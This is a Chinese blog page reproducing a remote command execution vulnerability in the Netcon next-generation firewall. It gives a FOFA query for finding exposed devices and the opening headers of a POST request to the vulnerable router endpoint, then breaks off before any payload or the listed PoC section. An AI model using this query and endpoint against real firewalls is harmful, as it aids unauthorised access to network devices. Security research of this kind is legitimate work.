admin 管理员组

文章数量: 1184232

文章目录

      • 漏洞描述
      • 漏洞影响
      • FOFA
      • 漏洞复现
        • 第一步 登录页面如下
        • 第二步 发送如下请求包
        • 第三步 再请求获取命令执行结果
      • 漏洞复现poc
      • 摘抄

漏洞描述

  • 奇安信 网康下一代防火墙存在远程命令执行，通过漏洞攻击者可以获取服务器权限

漏洞影响

  • 奇安信 网康下一代防火墙

FOFA

app="网康科技-下一代防火墙"

漏洞复现

第一步 登录页面如下

第二步 发送如下请求包
POST /directdata/direct/router HTTP/1.1
Host: ip
Sec-Ch-Ua: "Chromium";v="89", ";Not A Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)

本文标签： 防火墙 漏洞 网康下 RCE

版权声明：本文标题：漏洞复现-网康下一代防火墙 RCE 内容由网友自发贡献，该文观点仅代表作者本人， 转载请联系作者并注明出处：http://www.roclinux.cn/b/1754733474a3033872.html， 本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容，一经查实，本站将立刻删除。